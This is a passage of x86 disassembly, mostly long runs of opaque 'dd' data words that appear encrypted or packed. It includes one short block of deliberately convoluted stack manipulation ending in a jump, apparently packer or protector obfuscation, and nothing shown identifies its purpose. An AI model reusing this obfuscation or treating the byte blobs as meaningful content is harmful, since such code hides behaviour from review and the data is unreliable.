		dd 4A513E2h, 416FBBh, 0B6A98602h, 2213B437h, 0F3F9F018h
		dd 0BB3C2384h, 7BE6D1FDh, 0CE73D44Bh, 7F9F018h,	37B63928h
		dd 0F018A192h, 223B70F9h, 0F9F01831h, 2B328BE0h, 0F018304Eh
		dd 0CFA721F9h, 0ECB08558h, 392A3Fh, 32A70000h, 57C4BD4Fh
		dd 0CFBB0C7Ah, 0D2557918h, 18B9C075h, 0DB2219FCh, 18B9C17Eh
		dd 0A094D2FCh, 40FB469h, 111B3Ah, 15940000h, 18B183B4h
		dd 0C4E552FCh, 1BE8EE6h, 0FB40000h, 6E42CF77h, 0C3D85EFBh
		dd 296801FAh, 589DE8AEh, 0B3CF8029h, 2906F9FAh,	0CB3D0A90h
		dd 21623D6Ch, 7C50FDAEh, 76766CCDh, 0A899B476h,	0D912692Fh
		dd 0A3A0196Ch, 0E33F988Fh, 0ABA90E3h, 0F3E152F7h, 0EBEB3D4Ch
		dd 9FD4A3AFh, 6A30A9E8h, 0DEDC1D6Ch, 0F0117251h, 56C3948h
		dd 54Dh, 2DA9EDEBh, 0F61C985Ch,	5F7B47B3h, 21ADEBEAh, 89159B40h
		dd 0D10A9372h, 7762C7C3h, 1EDCAD29h, 0C4357492h, 0ED14D8C6h
		dd 0FF600B4Ch, 935BDAF9h, 0D823696Eh, 0DB4E62EFh, 7749CF58h
		dd 0D72700F6h, 85266A90h, 0FA02723Ch, 38A69D01h, 0ED0A9049h
		dd 4619AB8h, 0F287EEBBh, 8E000004h, 0E3464C48h,	562BB7F3h
		dd 0B1F01EA2h, 0E75A4046h, 9522A8F6h, 662CD1EEh, 0CCD20978h
		dd 357963C6h, 991FD8A9h, 9730717Dh, 0F9FF60A6h,	6EF4367Fh
		dd 0BD3C2369h, 18B95B1Ch, 2CBD8AFCh, 3A9F1E01h,	0FC18B939h
		dd 74A93E8h, 9816DED2h,	8ECF5E62h, 5E81E451h, 4B8A1197h
		dd 0B1FD088Eh, 75B9FFF7h, 3B877534h, 7ECCB8A2h,	8D0C3379h
		dd 7B820ECAh, 0B9E869F2h, 4239FC18h, 0BDCDA1Fh,	0FBC111Fh
		dd 3D133A04h, 57000000h, 0D0577B18h, 0FAE9FB77h, 0C6251201h
		dd 0FA89C479h, 0BD03F6F9h, 0AEF4E76Eh, 0B185275Fh, 89332485h
		dd 95E2F9FAh, 0B68EC858h, 417F1F88h, 0E1DC26DCh, 586FA2D8h
		dd 41DC3FE6h, 0E6000000h, 0D0577B18h, 0C8892E51h, 19FC18B9h
		dd 0C1309922h, 1401FB05h, 6D69285Fh, 0AE24E5F5h, 0CF04AB9Bh
		dd 0FAFFBEC3h, 0DBEC69BCh, 0FAFFFC72h, 8D0BCCF9h, 35A1E001h
		dd 0EDE96871h, 0EEF352A9h, 0B000003h, 0D0577B18h, 0FAE4D377h
		dd 0EE3D0A01h, 0D1347267h, 0D91BEBADh, 489190B4h, 418CF12h
		dd 11507E35h, 6F2DA8E8h, 1B62DF1Ch, 5287A1AEh, 8B12965Eh
		dd 0A9D81542h, 3E994A00h, 57B68D0Ah, 89F5C18Bh,	8B4C4A50h
		dd 3CBFA286h, 0DC9D3ABDh, 75EDBED5h, 0D52C2D3Eh, 8EE5EDBEh
		dd 0BE42D43Dh, 0E65D105Ch, 1D9B5C87h, 4E26208Eh, 0A2A58996h
		dd 72567505h, 50D7AC16h, 0E06443C7h, 0EFF87A53h, 0B91463Bh
		dd 68C71F0h, 159B4003h,	66523D2h, 2569F4D5h, 0B2279363h
		dd 0C73275F4h, 46E3A2F9h, 0E1720015h, 0A13A77CCh, 796DF2E5h
		dd 76F561C6h, 0A2371C90h, 0F4F83673h, 0C85E6F51h, 30A92873h
		dd 311A56B6h, 0B4E19B5Ah, 0F7CF8951h, 0CD7C50FDh, 0C2CE0B4Ah
		dd 0C2599612h, 63D73089h, 0BA22B687h, 7760C1CDh, 6E6BEA31h
		dd 0B9F6B222h, 0DB355A1Dh, 36E7FD7Eh, 0E25F14D5h, 86FCDA7Fh
		dd 581728D4h, 0C4CF64CDh, 0FEFDD308h, 0F1EA55B0h
		dd 317F7CA3h, 4D0EABEAh, 84D308C4h, 61551FAFh, 774F891Fh
		dd 494F88CBh, 1A20B932h, 69148CC7h, 3564h, 7B185E00h, 0C777D057h
		dd 501FAD1h, 0F7169242h, 79D6E69Ah, 69A69429h, 0CA7DCA50h
		dd 3D484E8Bh, 3B042FB8h, 0F9FAF606h, 0ACE3D315h, 3FE66271h
		dd 0E4DEh, 0EFAEE000h, 1744A7EBh, 424E8BB6h, 0D3D91E98h
		dd 93D22966h, 9EC1246Ah, 1FA35959h, 0DD184F8Ch,	181B62DFh
		dd 0B93F3099h, 99D6FC18h, 0D8D80140h, 0A5219E22h, 33248504h
		dd 0E2FC18B9h, 0DDEB3495h, 2BFC18BDh, 0BF40E4BEh, 912AA6A9h
		dd 676329AEh, 1DDDD502h, 0F47DFE5Bh, 0DF94FC18h, 19D63562h
		dd 4D848C74h, 8568C23Bh, 1342582h, 96EDFC18h, 2DB12659h
		dd 3EB26ED5h, 60C94891h, 1FA75BEh, 7B7C9AD1h, 0EA4FF2D6h
		dd 41FACB4h, 0BEE160DFh, 166B773Dh, 6552DFE5h, 14FE7CE8h
		dd 1EB2E71h, 4F890000h,	0FAFA4F4Bh, 0A95110BEh,	4D88F9E5h
		dd 0FDFE434Fh, 0F59C2BB7h, 616D33A8h, 0CFCBD900h, 963C807Ah
		dd 7A6026D3h, 0ADAE0B7Ah, 64F9FF65h, 6D6EFD39h,	18A12027h
		dd 0FC18B957h, 7228B18Eh, 0C6CCCA0Fh, 577B1818h, 226891D0h
		dd 0D4971699h, 41E69927h, 0FC18B910h, 8516AC1h,	1FAD146h
		dd 6331A899h, 0F58AD736h, 0E6F9FAA1h, 0C01D9460h, 6F3FE62Bh
		dd 0EAh, 0E9696E53h, 12692FA6h,	0B9CF80D9h, 2906FC18h
		dd 0B526A9FCh, 76F978EFh, 18B960D1h, 61FAB1FCh,	0FC18B9F0h
		dd 0EA714A21h, 18BD7B8Dh, 911089FCh, 46FC20Dh, 5780CF18h
		dd 3F4B551h, 0BC3F6685h, 18565A1Bh, 2BBC8BFCh, 6619CD52h
		dd 0FA38C1C1h, 7FE86B01h, 0F152FDC5h, 0B0A1BA1Bh, 6CF9FBBCh
		dd 99270260h, 370C0A5Ch, 9F3B7096h, 0EC93B7DCh,	1EEC344Bh
		dd 0FA8D904h, 0F7D08C4Eh, 7D79A887h, 3C69E239h,	3914A0Dh
		dd 46E36287h, 0F7D08C15h, 0EB5677CCh, 8247ACF2h, 15FE7C24h
		dd 0D31170h, 67910000h,	12C2A723h, 0C1390896h, 6590D1FDh
		dd 15C6BB27h, 0DF4038Fh, 59454BB0h, 27A3F1E8h, 8E149842h
		dd 52783EBBh, 85B61392h, 5CF9FF64h, 6D6E15D1h, 7B612027h
		dd 85F2C03Dh, 517CFA94h, 815A79D5h, 7533A485h, 696E6369h
		dd 6099D823h, 8A0DBC5Ah, 18B92C2Dh, 0F3B93EFCh,	422723A8h
		dd 46F71692h, 5AC7B009h, 0CC56F376h, 0C702008Dh, 25D21D68h
		dd 405CDBBBh, 2F6408F7h, 9319DEA3h, 751B2F08h, 67EA6CE6h
		dd 329F5DF2h, 3F62ADD9h, 21AAF1BDh, 98E6DE98h, 0CCBD595Fh
		dd 1B9A8D0Bh, 0C8CFBDBEh, 0C9E2598Eh, 0A3713405h, 54FFC8A7h
		dd 34A6EAEDh, 63D81D68h, 0C0B4BE18h, 9B078572h,	3CFEF166h
		dd 8301FC11h, 0C4C2373Ah, 3DEA1h, 0A7E40000h, 2C686E9Dh
		dd 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h, 6E34A928h
		dd 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h, 4C281E2h
		dd 83000000h, 148704EAh, 24248B24h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 0A6682414h, 89000033h,	68502404h
		dd 7B071718h, 1DBF5758h, 811DE52Eh, 1004BAEFh, 0E7814F05h
		dd 46613992h, 8106E7C1h, 0E34909F7h, 0DAEF8118h, 9C4AEE1h
		dd 0E0C15FF8h, 164E0503h, 0C28925EEh, 48B5458h,	4C48324h
		dd 24048152h, 6ABE5C66h, 5708408Fh, 0BE5C66BFh,	878296Ah
		dd 24048B5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		dd 963FECB0h, 96839625h, 9E592AC1h, 0F7B8CAACh,	305E7DEh
		dd 49E0FFC5h, 482F2E26h, 6173F93Ch, 8F317070h, 346CBF33h
		dd 0A77F40B2h, 267488F2h, 615F0EE8h, 0FD00E38Ah, 0DB542E41h
		dd 556CACCBh, 0C7351BFh, 4511A714h, 0F0490098h,	0FC33FE18h
		dd 0B5407CF5h, 0DC402E18h, 0F46E58E4h, 0E42043B9h, 0D6639171h
		dd 144C4AB3h, 493132EFh, 4A0902BCh, 57AE33Eh, 0C63A17D2h
		dd 116E11EEh, 7E7AD3DAh, 690684B2h, 307F279Ah, 0E85392E4h
		dd 14h,	2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 0BD87A51Fh
		dd 0D4A839F8h, 0FE9h, 31F1300h,	3C58FF8h, 0B1C3801Eh, 0A4A79217h
		dd 0C281FC5Ah, 5FC8h, 2BD98B66h, 0B5CB80F6h, 661634FFh
		dd 5F6504B9h, 0F781E7B0h, 8F0B1DAh, 0FE9h, 7587AD00h, 9A0D650Ch
		dd 0A6111E62h, 0AAD0C869h, 63E4EF81h, 0B96633E1h, 0F7819C09h
		dd 62F1492Ch, 57DBB70Fh, 8FDE8B66h, 0F1813204h,	618BEC90h
		dd 8325E880h, 8C0F01EEh, 12h, 0DE9h, 0C6F53600h, 4BBD0001h
		dd 0C73A4DA2h, 4E4E0D11h, 38E0F4Eh, 0F000000h, 0FE81C0BFh
		dd 0FFFFA0F8h, 0FF86850Fh, 810FFFFFh, 0Ch, 6820Fh, 0F1810000h
		dd 752AF0B3h, 0E1C48D8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0EB187EC3h, 8D896939h
		dd 5E20BE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	7EC35646h, 0CF29150h, 68D0Fh, 85890000h, 5E21D99h
		dd 76185C7h, 667005E2h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0FCC7F4C3h, 16880Fh
		dd 11E90000h, 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h
		dd 54A55A76h, 1B5585C7h, 5E2h, 0B5290000h, 5E22689h, 1DF1B5FFh
		dd 0BD2905E2h, 5E21D85h, 0B1595FFh, 0BD8B05E2h,	5E2070Dh
		dd 95FF006Ah, 5E20AB9h,	4DEBC08Bh, 8692A4E9h, 25646318h
		dd 0A8FDDC4Ch, 0F8AFAF8h, 4726F596h, 107B5DDFh,	0DD0F970Dh
		dd 4D70DE3Ch, 4D371E90h, 0A7C15D7Dh, 308C602Dh,	8AC60CC0h
		dd 0FBB73503h, 3F3F8BB0h, 9A63143h, 9EBE2763h, 8C212EABh
		dd 19641703h, 3B1720AFh, 0EF08EB9Ah, 3F1AE8h, 0E9023C00h
		dd 0C99h, 0E7E3BD68h, 6B9EE905h, 0ED68FFFBh, 0E905E7E4h
		dd 0FFFB6B94h, 0E7E67368h, 6B8AE905h, 2168FFFBh, 0E905E7E7h
		dd 0FFFB6B80h, 0E7E7E268h, 6B76E905h, 0D68FFFBh, 0E905E7EAh
		dd 0FFFB6B6Ch, 0E7EAC468h, 6B62E905h, 2668FFFBh, 0E905E7ECh
		dd 0FFFB6B58h, 0E7ED2168h, 6B4EE905h, 136EFFFBh, 0DD59A9C8h
		dd 0A001E180h, 68C43A5Dh, 298A741Bh, 0A6D9B3D6h, 2B4E9112h
		dd 670A57D7h, 0BEC11C9Bh, 0FC83E040h, 9467FA96h, 99A005D1h
		dd 8F11C0BBh, 79FBC732h, 7DE10524h, 28846A06h, 0A18F5CDBh
		dd 0D2287489h, 6043ABCFh, 949D5A29h, 1394A00Bh,	26141C8h
		dd 949E59F4h, 0A083A00Bh, 0D56C54C3h, 0C4BDF92Fh, 0F279B540h
		dd 8E2683E8h, 0B9C8873h, 0E2CEADA0h, 3576h, 294D7900h
		dd 40AEC652h, 4C159CDFh, 545AD547h, 6C4429C2h, 0CF9427D1h
		dd 0EE290AABh, 0B63E493h, 1AAE9BA0h, 0E8C5535Bh, 82FEC083h
		dd 7D1F23Dh, 0EE53h, 8F116400h,	15ADC732h, 0EDB3FFF8h
		dd 694724A5h, 5ED92487h, 44B31090h, 8BA5FA7Ah, 82A0FF44h
		dd 4E30D14Dh, 0A4C593F0h, 0ED9F3709h, 0CF1494A5h, 94D656A8h
		dd 0A9E0C51Ah, 0CA8691D5h, 20F1CBACh, 2C41EFCCh, 0ABCF6AA4h
		dd 9435B17Fh, 0CC231BFEh, 422EF391h, 0EAC8FD62h, 0EC251Fh
		dd 69CA1523h, 0E0143893h, 94365721h, 801D3B50h,	0A5EF80EDh
		dd 932B4526h, 1B15E67Bh, 391A9A26h, 0B30E915Fh,	8ED152ACh
		dd 5093B81Fh, 0B4ED0C7Ch, 0A6Ah, 6B0E51ACh, 0A3C61B97h
		dd 0FC83DE5Fh, 3659A602h, 751467C8h, 0CF50E41Bh, 9515ED8Ch
		dd 5AD92948h, 1E9E6007h, 0BCD4BEC1h, 5D05621h, 0EF9DBA0h
		dd 0CE2E8E11h, 0B3D4A73Ah, 7A59A5EDh, 64491A95h, 267BFDC5h
		dd 4374C50Ah, 1B694433h, 5B842C3Dh, 0E8557256h,	0ED92B39Eh
		dd 0F762CC28h, 4DBA7D5Bh, 0AEC65229h, 0A0F3E121h, 65337212h
		dd 0CF0330C8h, 9910F3ABh, 0AD3ED8Ah, 75CA24A0h,	2EBA343Ah
		dd 0AD3E893h, 896E4DA0h, 13A9800Eh, 24D8911Dh, 0E8355D51h
		dd 0D40683h, 11C90000h,	0ADC7328Fh, 0A89AE743h,	5927F14Eh
		dd 0CB1896D6h, 0FE9A7F4Ch, 0B330CB66h, 0BF5A5EDh, 0BD857AAh
		dd 0B9D34A26h, 50EDFB77h, 0A5EDB3A7h, 0EECAAF8Ch, 0EDB87153h
		dd 0CEDA5AA5h, 0EDAEC8B3h, 0A98E6DA5h, 0FDE16E86h, 377D3C1Ah
		dd 36B67850h, 98DCAEE9h, 983855E3h, 4BABCF61h, 81FEC068h
		dd 98E3443Eh, 0C5644C11h, 0DB5B3DA1h, 553A0B86h, 0AEBAA63Bh
		dd 5635A5EFh, 2873F43Ah, 9960EF09h, 0FA47A902h,	0EB9F5869h
		dd 7DC0230Dh, 505FB12Eh, 0D996E37Ch, 93Ah, 1B3E81FCh, 53F64BA7h
		dd 0ACB30E6Fh, 0E689D652h, 25449718h, 0FF60D44Bh, 0C5259DBCh
		dd 8AE9D978h, 4EAE1037h, 6C046EF1h, 5D026D1h, 5E290BA0h
		dd 2C338E11h, 60BB3A84h, 0F946A688h, 8F116156h,	772CF2Fh
		dd 0E8D64126h, 79C62688h, 0D51F594h, 0B947DA76h, 3CABCFC9h
		dd 432D72F2h, 29098063h, 0BA0767C7h, 821AB2D5h,	0B9D8C6Fh
		dd 0D32E8FA0h, 89A187A4h, 0B9D8374h, 0E6CBA8A0h, 62C4240Ah
		dd 5FDABF04h, 2F22ADC5h, 6C7D6EB9h, 0FDE295B8h,	0D859A00Ah
		dd 57390A85h, 13819C74h, 0E5275121h, 0BD3FF68Ah, 69A0FD7Dh
		dd 0B8D07754h, 3ABBF976h, 0B69BA8E7h, 637624ADh, 8C6421D9h
		dd 0B2FD42A2h, 0C4BC19DFh, 419E1A18h, 308BE8D6h, 4CF069F9h
		dd 49FF4AD4h, 72156ACAh, 58D72C8Ch, 0C4BB2BC5h,	16D87018h
		dd 0FB7A4497h, 7C5469A0h, 74F43FC5h, 36B6082Fh,	9A374FE9h
		dd 18C4BBE1h, 128B6546h, 0EA35B47Ah, 83F87C0Eh,	0D49C58F5h
		dd 0A4871EA6h, 86FD6185h, 0CF3D65EAh, 0EFA2F84h, 0B9F70A22h
		dd 9C18C474h, 38ED152h,	95765622h, 69B435FBh, 403B562Eh
		dd 0E50D0073h, 0DE572106h, 73B543h, 0E99FCA0Dh,	0DDD1226Ah
		dd 4B9C3F0h, 42140000h,	0A5EDB3B9h, 0EDC34433h,	0D75799A5h
		dd 523E0F8Ah, 0EDA7203Fh, 0CD2B95A5h, 0EE859870h, 79A5ED9Fh
		dd 5FF29EF5h, 0ABCFC5F9h, 559407E4h, 93766B35h,	7B42966h
		dd 7620000h, 0D12D95B4h, 9415ED8Ch, 5CD82649h, 1D9E6007h
		dd 5AD5BFC2h, 2F328DEEh, 6B0E53D3h, 0A2C51897h,	0E087DC5Ch
		dd 9863FE8Ah, 9DA005CDh, 8F11CCBFh, 738E2632h, 0A5EDB388h
		dd 0ABE2CEADh, 50F893DBh, 0D595523Dh, 52407ABh,	7AE20D36h
		dd 80C9617Dh, 0D0B51CD8h, 5B9725B8h, 0F55AA5E8h, 46BA087Bh
		dd 6D3D1B7Ah, 0B703168Eh, 0B64985AFh, 37F8831Eh, 5E3DEAC3h
		dd 0F78CD072h, 4040C459h, 280BF0A5h, 22599DE1h,	67E9FB16h
		dd 221CEAC3h, 13307FC4h, 5CDC224Eh, 1E9E6007h, 1B834CBDh
		dd 3A1F7240h, 77438AE3h, 0A47B237h, 706h, 0C76AB530h, 1F227FFBh
		dd 58FF42A3h, 92B50A66h, 0D170CB2Ch, 3BBC0887h,	16141E0h
		dd 0C6259DBCh, 8AEAD47Bh, 20381235h, 5CCEA8Dh, 9A6D4FA0h
		dd 0E02E294Dh, 58CAA1B7h, 0E57810F5h, 0ABCF6817h, 0D9273112h
		dd 0B88D0459h, 179959D0h, 6BC64FCAh, 0BCDA02D5h, 7018FD42h
		dd 0ED521FDDh, 0A73A52A5h, 9A2925D4h, 0B395E847h, 4B28F8D0h
		dd 25EA8924h, 817A9A29h, 0E49A2925h, 47E4080h, 0C05370BFh
		dd 9A292537h
		dd 59A602FCh, 4B280DDEh, 7FF902Dh, 841CA011h, 41438E69h
		dd 0D8B09394h, 94EC2B08h, 0C176C24Bh, 6C44E379h, 40D929D1h
		dd 0D8AD4594h, 2629440h, 0D60F6EBDh, 0F4058235h, 645BBh
		dd 2B76F300h, 0E340BA04h, 0B803625Ch, 76CB2999h, 318CEFD3h
		dd 7DC9462Eh, 3E80A7FAh, 0E2DC63C0h, 0AB173A85h, 0F955F449h
		dd 0CC2BCC61h, 12F0A005h, 52294D59h, 257AF8C6h,	67FFD9EAh
		dd 3F7FE1CFh, 142960BDh, 4BC45937h, 48ABD595h, 8AA08707h
		dd 6632813Fh, 446AA586h, 50F89FE4h, 0F0B20D6Eh,	3D4F2976h
		dd 4CB2DEBDh, 476493F0h, 96583069h, 1EFC916h, 9EE35F9Fh
		dd 8DD02F13h, 7F5C2102h, 0F14EB0D8h, 0DAAF48E5h, 9774A005h
		dd 0CA6647B2h, 5DAC4B7h, 0AE8A69A0h, 940360C0h,	5BF54AAAh
		dd 4FCA1795h, 571B927Eh, 270B86DBh, 643E79C4h, 41C157EDh
		dd 5FC154E8h, 0EBD57F02h, 0E8FD3489h, 3C2E7E00h, 5EB83E3h
		dd 0E5715FA2h, 1A6h, 0FA7947EAh, 7D5B68A7h, 640C87EFh
		dd 0C55883CCh, 0C3A7EC5Bh, 0ECC1C7B0h, 16926CA5h, 740CE4C9h
		dd 0CEDB1BD9h, 0EA2506ABh, 0AA8E297h, 8AD755A0h, 7CC1230Fh
		dd 5CE05935h, 59EF5AC4h, 0BC9E438Ch, 0AEA1D31Dh, 473CA0C2h
		dd 0E4E09429h, 0DC03A5EBh, 5696C513h, 7FC43EC6h, 624E1330h
		dd 209EA182h, 0BDD563C0h, 27975720h, 11FFDC9Ah,	0C13E8098h
		dd 4612337Eh, 84ABF878h, 0EB85FE66h, 0B30E6D53h, 0F4896744h
		dd 0A009B6A8h, 748E0C3h, 5FF2C8BEh, 9445409Ch, 64A1A281h
		dd 9DE24221h, 846C3112h, 0A81760Dh, 4D049445h, 67F03CB7h
		dd 4C917822h, 26000000h, 0C652294Dh, 2D4E0B99h,	0ED1FE790h
		dd 0F66F4CA5h, 0DFB9289Ch, 34522A47h, 0F6D5ABCFh, 50FE4BBh
		dd 0A802A00Bh, 2944DC5Bh, 0A00B044Eh, 0B20EF0D3h, 1148226Dh
		dd 79B56Bh, 0A301EF7Ch,	26F2D35Eh, 0E8661418h, 9FBD83h
		dd 11020000h, 0FBC7328Fh, 0C4EA2578h, 58A30264h, 0B2323C7Bh
		dd 9DA7CA6Dh, 58A5EDB8h, 57D41696h, 0DBB88D04h,	0DFA18F5Ch
		dd 0DD61005Dh, 3B56E299h, 0ABD25EA3h, 8847A40Ah, 19887589h
		dd 0A9876449h, 905EFAD9h, 5AA4CC0Fh, 0C11C9BD9h, 0B8907556h
		dd 8BD659A9h, 6D8BEF10h, 0C7B8F176h, 41Ah, 3B5EA11Ch, 73166BC7h
		dd 4CD32E8Fh, 86A9F672h, 0C564B738h, 1F80346Bh,	0E545BDDCh
		dd 0AA09F998h, 6ECE3057h, 0C240E11h, 5CA06F1h, 7E492BA0h
		dd 0E5788E11h, 0A5EDB412h, 30573417h, 0E116ECEh, 328F11B9h
		dd 2479FBC7h, 0B542B405h, 2FA5EE33h, 0A5ED3348h, 0C8294F97h
		dd 33D8A33Eh, 7E5DA5EDh, 49CB499h, 33A651ECh, 0B58BA5EDh
		dd 82A3EE33h, 0D5BED3BDh, 8AABD515h, 27408FA9h,	40EF7A8Fh
		dd 0E09B3642h, 45A0052Ah, 73138A66h, 65F890EBh,	0A5E73013h
		dd 0CD12905Eh, 0D66B03E3h, 9A232525h, 2CCF620Ah, 0F19A2324h
		dd 3D684D12h, 7C5389D6h, 631A57A2h, 0D5000003h,	9C620558h
		dd 44BADD22h, 0BF79AE5h, 0F13150ADh, 240C136Eh,	81DC5FEBh
		dd 5DA200FEh, 1467C43Ah, 0D62B8D75h, 324FDBB3h,	0A005C949h
		dd 113B0CEEh, 0FBC7328Fh, 0E1052479h, 0D76A067Dh, 0ABCFD2C9h
		dd 3048C7A4h, 0AED0098h, 2FA00B96h, 9556214Ch, 62C5A00Bh
		dd 7E5A391Fh, 0B9614E3h, 4AFEABA0h, 8DD0539Dh, 67BC3C02h
		dd 5A361B28h, 0E8F3D8D4h, 687983h, 0AF110000h, 0A586F14Ch
		dd 9D85768Bh, 0C9AAA00Bh, 294D08EFh, 0CC91EC4Fh, 86D95AA4h
		dd 7AC7270Bh, 6F492E3Fh, 0CBC2BAD7h, 8665ABCFh,	9B7F740Bh
		dd 35B2A00Bh, 2283AFEAh, 7CCB50DFh, 0AC7B2CC8h,	0DECCE3CEh
		dd 4DE5BDF9h, 0B7D4730h, 9512ECA0h, 0D28B654Ah,	0DF67A72Eh
		dd 0CA3483E8h, 0DBE7126Dh, 48200558h, 0DF0Ch, 8F11D300h
		dd 5AD82632h, 0CCF22B05h, 2EAF0D6Bh, 941EDB47h,	332CF10Eh
		dd 53D95F9Ah, 0CE492EFCh, 0C03E80E0h, 2F139E63h, 42D170CDh
		dd 0A5ED7282h, 0D574C92Bh, 1A368BEDh, 0D87599B5h, 3503A332h
		dd 4D46AEFCh, 56BE8E23h, 2201ABCFh, 1E8CC916h, 2428491Bh
		dd 55993D4Ch, 59FF123Eh, 84A5EFB1h, 0C42789A7h,	0DABF0464h
		dd 54D31DB7h, 29D26F09h, 0E9A264Ah, 0FA7D432Dh,	652774A7h
		dd 88E17C50h, 201D7h, 67BA3700h, 3F84FEC0h, 0F447A618h
		dd 0B20F6D55h, 8DD053AFh, 0B90D82EAh, 7A44EB36h, 3E80A7FCh
		dd 0E7DB7EC1h, 3D193885h, 0C7EF8825h, 5634A005h, 338E1165h
		dd 0D16C842Ch, 0A5EDB426h, 7E40280Bh, 2997A1FEh, 0B30E6DCDh
		dd 17826744h, 0A1CB5A36h, 2680E05Fh, 0A88D5ED9h, 83745C61h
		dd 6F2E294Dh, 32603693h, 0EF0987Dh, 72453B0h, 37F91129h
		dd 0A4F97BBBh, 9D7B48C7h, 0CF43F880h, 0D1583BABh, 0B13B542h
		dd 4EB0C8A0h, 4263AEF1h, 8A49FF76h, 83E87582h, 0B223h
		dd 8F11B400h, 78FBC732h, 0AD97EA25h, 1EA5EDB8h,	0C937419Eh
		dd 0CE9F1A67h, 0FD7F43E2h, 871F69A0h, 0EDAE916Ah, 0DBB596A5h
		dd 0F7732549h, 3CA075D6h, 0A68B51B2h, 0DB755A6Bh, 0CF698646h
		dd 0C76A49ABh, 2C443FA7h, 0EFDDE491h, 0C26E4DA5h, 8207BFCh
		dd 19F74CA6h, 0EA35B608h, 50316CB3h, 88F9307Ch,	106h, 0C76AB530h
		dd 1F227FFBh, 58FF42A3h, 92B50A66h, 0D170CB2Ch,	3BBC0887h
		dd 16141E0h, 0C6259DBCh, 8AEAD47Bh, 20381235h, 5C6EA8Dh
		dd 9A6D4FA0h, 0D22E8E11h, 5C21028Dh, 8C4C933Dh,	0C5501D7Eh
		dd 7F00D2Bh, 2CA5EDA9h,	1D9F614Fh, 1148A1C0h, 0ADC7328Fh
		dd 0E7F7CA15h, 3E7F23B6h, 0ECD46417h, 0EEAC9A5h, 0D563C020h
		dd 0DA7CCB8Ah, 0F6B079Bh, 816647B2h, 0F07496B7h, 0AB60FD9Bh
		dd 0A8ABD4E0h, 0E243ADCBh, 6533109Fh, 5DA2022Ch, 1F64C43Ah
		dd 24B6FD90h, 81FDDB02h, 3463BE21h, 0FBC73217h,	9FE9207Dh
		dd 8157902h, 75DDBE65h,	0B3E840C4h, 469B1BE5h, 972186CBh
		dd 2CCD1160h, 54E8614Fh, 7F025FC1h, 55DC2183h, 6D0EA33Bh
		dd 0B2650896h, 0BB3907D1h, 87E4CA66h, 49255C34h, 47A96C10h
		dd 965B1CB1h, 60DE6508h, 0D1B79403h, 684D90EFh,	9A1AE48Bh
		dd 9708F30Eh, 4E2D6508h, 3712E69h, 78000000h, 94112E19h
		dd 80E0CE49h, 6DCAF423h, 5BDBE712h, 44A78B06h, 2FB0BEF9h
		dd 1F9DA5ECh, 0A6B57C2h, 0FC7678B7h, 575C68A7h,	0B850E789h
		dd 4, 8358C701h, 3C8704EFh, 0CA685C24h,	89000025h, 4682414h
		dd 89000075h, 6857242Ch, 23E5024Eh, 5E7C15Fh, 4689E781h
		dd 0C7816691h, 0A167A1FFh, 3C8BFA89h, 4C48324h,	5A68h
		dd 24248900h, 4240483h,	4EC815Dh, 89000000h, 458F2414h
		dd 2434FF08h, 4C4835Dh,	5A2434FFh, 4C481h, 11E90000h, 70FFFB5Fh
		dd 0EE4CB892h, 0C50305E7h, 0A020E0FFh, 0DC4511BCh, 648C4D7Bh
		dd 0BAE71661h, 0D9572494h, 0BE602C20h, 0F564336h, 52294A6Dh
		dd 7460355Dh, 712806D5h, 22931041h, 594B66B9h, 92A832D3h
		dd 172627F2h, 0B75C716Eh, 20ED7604h, 21C140D9h,	0BD7604Eh
		dd 461828C6h, 9B1A5B7Ch, 17500CFAh, 94BD7048h, 4B1B3ADBh
		dd 75DF316Ah, 0B7C170DFh, 0DD105CEh, 0AE85B34h,	95000000h
		dd 0AFB16B2Eh, 61EDFC08h, 0EE95B7Ah, 0D2000000h, 0AACDEC0h
		dd 62C28D12h, 0CB38F36h, 8BC3814Bh, 0E9000073h,	8, 0FCA02CBDh
		dd 0C007E045h, 1CAEBAh,	0AE800h, 85730000h, 82030986h
		dd 67BC13E1h, 8C0Fh, 8B5F0000h,	0F78B6603h, 3E70F081h
		dd 69B15E6Eh, 75FCE881h, 9E85648h, 0E9000000h, 46320148h
		dd 483FFE11h, 5EFFB70Fh
		dd 9835C081h, 10E92EE0h, 42000000h, 4B9EDEA2h, 0C6163C55h
		dd 5534F5ECh, 8981BF2Fh, 0D2C18003h, 6602EB83h,	4B4BF38Bh
		dd 1EA81F5h, 0F000000h,	1685h, 2CE900h,	4F3C0000h, 258C6340h
		dd 3679F764h, 6608E914h, 0F512E1Bh, 58Ch, 78CBE00h, 80E94F3Ah
		dd 38FFFFFFh, 0A68A7B7Fh, 8C24F49Ch, 0ABE9E234h, 50000000h
		dd 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h
		dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh
		dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h,	0A59CB2E9h
		dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h,	0F07B6B5Ch
		dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h
		dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h
		dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h
		dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h
		dd 3D94E7A6h, 2B7D8332h, 0B1E94485h, 68000012h,	5E7F2A8h
		dd 0FA8F4AE9h, 0F3A768FFh, 40E905E7h, 68FFFA8Fh, 5E7F49Ah
